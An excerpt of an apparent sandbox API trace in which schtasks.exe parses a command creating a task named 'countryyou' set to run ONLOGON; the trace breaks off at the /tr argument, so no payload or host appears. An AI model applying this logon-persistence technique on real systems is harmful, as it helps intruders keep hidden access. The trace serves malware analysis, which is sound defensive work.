7 [0072.768] lstrlenW (lpString="-/") returned 2 [0072.768] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.768] lstrlenW (lpString="create") returned 6 [0072.768] lstrlenW (lpString="create") returned 6 [0072.768] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.768] lstrlenW (lpString="create") returned 6 [0072.769] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.769] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|create|") returned 8 [0072.769] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|create|") returned 8 [0072.769] lstrlenW (lpString="|create|") returned 8 [0072.769] lstrlenW (lpString="|create|") returned 8 [0072.769] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0072.769] SetLastError (dwErrCode=0x0) [0072.769] SetLastError (dwErrCode=0x0) [0072.769] SetLastError (dwErrCode=0x0) [0072.769] lstrlenW (lpString="/tn") returned 3 [0072.769] lstrlenW (lpString="-/") returned 2 [0072.769] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.769] lstrlenW (lpString="create") returned 6 [0072.769] lstrlenW (lpString="create") returned 6 [0072.769] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.769] lstrlenW (lpString="tn") returned 2 [0072.769] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.769] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|create|") returned 8 [0072.769] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.769] lstrlenW (lpString="|create|") returned 8 [0072.769] lstrlenW (lpString="|tn|") returned 4 [0072.769] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0072.769] SetLastError (dwErrCode=0x490) [0072.769] lstrlenW (lpString="?") returned 1 [0072.769] lstrlenW (lpString="?") returned 1 [0072.770] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.770] lstrlenW (lpString="tn") returned 2 [0072.770] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.770] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|?|") returned 3 [0072.770] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.770] lstrlenW (lpString="|?|") returned 3 [0072.770] lstrlenW (lpString="|tn|") returned 4 [0072.770] SetLastError (dwErrCode=0x490) [0072.770] lstrlenW (lpString="s") returned 1 [0072.770] lstrlenW (lpString="s") returned 1 [0072.770] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.770] lstrlenW (lpString="tn") returned 2 [0072.770] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.770] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|s|") returned 3 [0072.770] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.770] lstrlenW (lpString="|s|") returned 3 [0072.770] lstrlenW (lpString="|tn|") returned 4 [0072.770] SetLastError (dwErrCode=0x490) [0072.770] lstrlenW (lpString="u") returned 1 [0072.770] lstrlenW (lpString="u") returned 1 [0072.770] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.770] lstrlenW (lpString="tn") returned 2 [0072.770] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.770] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|u|") returned 3 [0072.771] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.771] lstrlenW (lpString="|u|") returned 3 [0072.771] lstrlenW (lpString="|tn|") returned 4 [0072.771] SetLastError (dwErrCode=0x490) [0072.771] lstrlenW (lpString="p") returned 1 [0072.771] lstrlenW (lpString="p") returned 1 [0072.771] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.771] lstrlenW (lpString="tn") returned 2 [0072.771] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.771] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|p|") returned 3 [0072.771] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.771] lstrlenW (lpString="|p|") returned 3 [0072.771] lstrlenW (lpString="|tn|") returned 4 [0072.771] SetLastError (dwErrCode=0x490) [0072.771] lstrlenW (lpString="ru") returned 2 [0072.771] lstrlenW (lpString="ru") returned 2 [0072.771] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.771] lstrlenW (lpString="tn") returned 2 [0072.771] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.771] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ru|") returned 4 [0072.771] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.771] lstrlenW (lpString="|ru|") returned 4 [0072.771] lstrlenW (lpString="|tn|") returned 4 [0072.771] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0072.772] SetLastError (dwErrCode=0x490) [0072.772] lstrlenW (lpString="rp") returned 2 [0072.772] lstrlenW (lpString="rp") returned 2 [0072.772] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.772] lstrlenW (lpString="tn") returned 2 [0072.772] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.772] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rp|") returned 4 [0072.772] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.772] lstrlenW (lpString="|rp|") returned 4 [0072.772] lstrlenW (lpString="|tn|") returned 4 [0072.772] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0072.772] SetLastError (dwErrCode=0x490) [0072.772] lstrlenW (lpString="sc") returned 2 [0072.772] lstrlenW (lpString="sc") returned 2 [0072.772] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.772] lstrlenW (lpString="tn") returned 2 [0072.772] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.772] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.772] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.772] lstrlenW (lpString="|sc|") returned 4 [0072.772] lstrlenW (lpString="|tn|") returned 4 [0072.772] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0072.772] SetLastError (dwErrCode=0x490) [0072.772] lstrlenW (lpString="mo") returned 2 [0072.772] lstrlenW (lpString="mo") returned 2 [0072.773] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.773] lstrlenW (lpString="tn") returned 2 [0072.773] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.773] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|mo|") returned 4 [0072.773] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.773] lstrlenW (lpString="|mo|") returned 4 [0072.773] lstrlenW (lpString="|tn|") returned 4 [0072.773] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0072.773] SetLastError (dwErrCode=0x490) [0072.773] lstrlenW (lpString="d") returned 1 [0072.773] lstrlenW (lpString="d") returned 1 [0072.773] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.773] lstrlenW (lpString="tn") returned 2 [0072.773] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.773] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|d|") returned 3 [0072.773] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.773] lstrlenW (lpString="|d|") returned 3 [0072.773] lstrlenW (lpString="|tn|") returned 4 [0072.773] SetLastError (dwErrCode=0x490) [0072.773] lstrlenW (lpString="m") returned 1 [0072.773] lstrlenW (lpString="m") returned 1 [0072.773] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.773] lstrlenW (lpString="tn") returned 2 [0072.773] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.774] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|m|") returned 3 [0072.774] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.774] lstrlenW (lpString="|m|") returned 3 [0072.774] lstrlenW (lpString="|tn|") returned 4 [0072.774] SetLastError (dwErrCode=0x490) [0072.774] lstrlenW (lpString="i") returned 1 [0072.774] lstrlenW (lpString="i") returned 1 [0072.774] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.774] lstrlenW (lpString="tn") returned 2 [0072.774] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.774] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|i|") returned 3 [0072.774] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.774] lstrlenW (lpString="|i|") returned 3 [0072.774] lstrlenW (lpString="|tn|") returned 4 [0072.774] SetLastError (dwErrCode=0x490) [0072.774] lstrlenW (lpString="tn") returned 2 [0072.774] lstrlenW (lpString="tn") returned 2 [0072.774] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.774] lstrlenW (lpString="tn") returned 2 [0072.774] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.774] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.774] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tn|") returned 4 [0072.774] lstrlenW (lpString="|tn|") returned 4 [0072.774] lstrlenW (lpString="|tn|") returned 4 [0072.774] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0072.775] SetLastError (dwErrCode=0x0) [0072.775] SetLastError (dwErrCode=0x0) [0072.775] lstrlenW (lpString="countryyou") returned 10 [0072.775] lstrlenW (lpString="-/") returned 2 [0072.775] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0072.775] SetLastError (dwErrCode=0x490) [0072.775] SetLastError (dwErrCode=0x490) [0072.775] SetLastError (dwErrCode=0x0) [0072.775] lstrlenW (lpString="countryyou") returned 10 [0072.775] StrChrIW (lpStart="countryyou", wMatch=0x3a) returned 0x0 [0072.775] SetLastError (dwErrCode=0x490) [0072.775] SetLastError (dwErrCode=0x0) [0072.775] lstrlenW (lpString="countryyou") returned 10 [0072.775] SetLastError (dwErrCode=0x0) [0072.775] SetLastError (dwErrCode=0x0) [0072.775] lstrlenW (lpString="/sc") returned 3 [0072.775] lstrlenW (lpString="-/") returned 2 [0072.775] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.775] lstrlenW (lpString="create") returned 6 [0072.775] lstrlenW (lpString="create") returned 6 [0072.775] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.775] lstrlenW (lpString="sc") returned 2 [0072.775] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.775] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|create|") returned 8 [0072.775] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.775] lstrlenW (lpString="|create|") returned 8 [0072.775] lstrlenW (lpString="|sc|") returned 4 [0072.776] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0072.776] SetLastError (dwErrCode=0x490) [0072.776] lstrlenW (lpString="?") returned 1 [0072.776] lstrlenW (lpString="?") returned 1 [0072.776] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.776] lstrlenW (lpString="sc") returned 2 [0072.776] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.776] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|?|") returned 3 [0072.776] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.776] lstrlenW (lpString="|?|") returned 3 [0072.776] lstrlenW (lpString="|sc|") returned 4 [0072.776] SetLastError (dwErrCode=0x490) [0072.776] lstrlenW (lpString="s") returned 1 [0072.776] lstrlenW (lpString="s") returned 1 [0072.776] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.776] lstrlenW (lpString="sc") returned 2 [0072.776] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.776] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|s|") returned 3 [0072.776] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.776] lstrlenW (lpString="|s|") returned 3 [0072.776] lstrlenW (lpString="|sc|") returned 4 [0072.776] SetLastError (dwErrCode=0x490) [0072.776] lstrlenW (lpString="u") returned 1 [0072.776] lstrlenW (lpString="u") returned 1 [0072.776] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.777] lstrlenW (lpString="sc") returned 2 [0072.777] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.777] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|u|") returned 3 [0072.777] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.777] lstrlenW (lpString="|u|") returned 3 [0072.777] lstrlenW (lpString="|sc|") returned 4 [0072.777] SetLastError (dwErrCode=0x490) [0072.777] lstrlenW (lpString="p") returned 1 [0072.777] lstrlenW (lpString="p") returned 1 [0072.777] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.777] lstrlenW (lpString="sc") returned 2 [0072.777] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.777] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|p|") returned 3 [0072.777] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.777] lstrlenW (lpString="|p|") returned 3 [0072.777] lstrlenW (lpString="|sc|") returned 4 [0072.777] SetLastError (dwErrCode=0x490) [0072.777] lstrlenW (lpString="ru") returned 2 [0072.777] lstrlenW (lpString="ru") returned 2 [0072.777] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.777] lstrlenW (lpString="sc") returned 2 [0072.777] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.777] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ru|") returned 4 [0072.777] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.778] lstrlenW (lpString="|ru|") returned 4 [0072.778] lstrlenW (lpString="|sc|") returned 4 [0072.778] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0072.778] SetLastError (dwErrCode=0x490) [0072.778] lstrlenW (lpString="rp") returned 2 [0072.778] lstrlenW (lpString="rp") returned 2 [0072.778] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.778] lstrlenW (lpString="sc") returned 2 [0072.778] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.778] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rp|") returned 4 [0072.778] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.778] lstrlenW (lpString="|rp|") returned 4 [0072.778] lstrlenW (lpString="|sc|") returned 4 [0072.778] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0072.778] SetLastError (dwErrCode=0x490) [0072.778] lstrlenW (lpString="sc") returned 2 [0072.778] lstrlenW (lpString="sc") returned 2 [0072.778] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.778] lstrlenW (lpString="sc") returned 2 [0072.778] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.778] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.778] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.778] lstrlenW (lpString="|sc|") returned 4 [0072.778] lstrlenW (lpString="|sc|") returned 4 [0072.779] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0072.779] SetLastError (dwErrCode=0x0) [0072.779] SetLastError (dwErrCode=0x0) [0072.779] lstrlenW (lpString="ONLOGON") returned 7 [0072.779] lstrlenW (lpString="-/") returned 2 [0072.779] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0072.779] SetLastError (dwErrCode=0x490) [0072.779] SetLastError (dwErrCode=0x490) [0072.779] SetLastError (dwErrCode=0x0) [0072.779] lstrlenW (lpString="ONLOGON") returned 7 [0072.779] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0072.779] SetLastError (dwErrCode=0x490) [0072.779] SetLastError (dwErrCode=0x0) [0072.779] GetProcessHeap () returned 0x2d0000 [0072.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed6e0 [0072.779] _memicmp (_Buf1=0x2ed6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.779] lstrlenW (lpString="ONLOGON") returned 7 [0072.779] GetProcessHeap () returned 0x2d0000 [0072.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ed700 [0072.779] lstrlenW (lpString="ONLOGON") returned 7 [0072.779] lstrlenW (lpString=" \x09") returned 2 [0072.779] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0072.779] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0072.779] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0072.779] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0072.779] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0072.779] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0072.779] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0072.780] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0072.780] GetLastError () returned 0x0 [0072.780] lstrlenW (lpString="ONLOGON") returned 7 [0072.780] lstrlenW (lpString="ONLOGON") returned 7 [0072.780] SetLastError (dwErrCode=0x0) [0072.780] SetLastError (dwErrCode=0x0) [0072.780] lstrlenW (lpString="/tr") returned 3 [0072.780] lstrlenW (lpString="-/") returned 2 [0072.780] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0072.780] lstrlenW (lpString="create") returned 6 [0072.780] lstrlenW (lpString="create") returned 6 [0072.780] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.780] lstrlenW (lpString="tr") returned 2 [0072.780] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.780] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|create|") returned 8 [0072.780] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.780] lstrlenW (lpString="|create|") returned 8 [0072.780] lstrlenW (lpString="|tr|") returned 4 [0072.780] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0072.780] SetLastError (dwErrCode=0x490) [0072.780] lstrlenW (lpString="?") returned 1 [0072.780] lstrlenW (lpString="?") returned 1 [0072.780] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.780] lstrlenW (lpString="tr") returned 2 [0072.780] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.781] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|?|") returned 3 [0072.781] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.781] lstrlenW (lpString="|?|") returned 3 [0072.781] lstrlenW (lpString="|tr|") returned 4 [0072.781] SetLastError (dwErrCode=0x490) [0072.781] lstrlenW (lpString="s") returned 1 [0072.781] lstrlenW (lpString="s") returned 1 [0072.781] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.781] lstrlenW (lpString="tr") returned 2 [0072.781] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.781] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|s|") returned 3 [0072.781] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.781] lstrlenW (lpString="|s|") returned 3 [0072.781] lstrlenW (lpString="|tr|") returned 4 [0072.781] SetLastError (dwErrCode=0x490) [0072.781] lstrlenW (lpString="u") returned 1 [0072.781] lstrlenW (lpString="u") returned 1 [0072.781] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.781] lstrlenW (lpString="tr") returned 2 [0072.781] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.781] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|u|") returned 3 [0072.781] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.781] lstrlenW (lpString="|u|") returned 3 [0072.781] lstrlenW (lpString="|tr|") returned 4 [0072.781] SetLastError (dwErrCode=0x490) [0072.782] lstrlenW (lpString="p") returned 1 [0072.782] lstrlenW (lpString="p") returned 1 [0072.782] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.786] lstrlenW (lpString="tr") returned 2 [0072.786] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.786] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|p|") returned 3 [0072.786] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.786] lstrlenW (lpString="|p|") returned 3 [0072.786] lstrlenW (lpString="|tr|") returned 4 [0072.786] SetLastError (dwErrCode=0x490) [0072.787] lstrlenW (lpString="ru") returned 2 [0072.787] lstrlenW (lpString="ru") returned 2 [0072.787] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.787] lstrlenW (lpString="tr") returned 2 [0072.787] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.787] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|ru|") returned 4 [0072.787] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.787] lstrlenW (lpString="|ru|") returned 4 [0072.787] lstrlenW (lpString="|tr|") returned 4 [0072.787] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0072.787] SetLastError (dwErrCode=0x490) [0072.787] lstrlenW (lpString="rp") returned 2 [0072.787] lstrlenW (lpString="rp") returned 2 [0072.787] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.787] lstrlenW (lpString="tr") returned 2 [0072.787] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.787] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|rp|") returned 4 [0072.787] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.787] lstrlenW (lpString="|rp|") returned 4 [0072.787] lstrlenW (lpString="|tr|") returned 4 [0072.787] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0072.787] SetLastError (dwErrCode=0x490) [0072.787] lstrlenW (lpString="sc") returned 2 [0072.787] lstrlenW (lpString="sc") returned 2 [0072.787] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.788] lstrlenW (lpString="tr") returned 2 [0072.788] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.788] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|sc|") returned 4 [0072.788] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c468 | out: _Buffer="|tr|") returned 4 [0072.788] lstrlenW (lpString="|sc|") returned 4 [0072.788] lstrlenW (lpString="|tr|") returned 4 [0072.788] StrStrIW 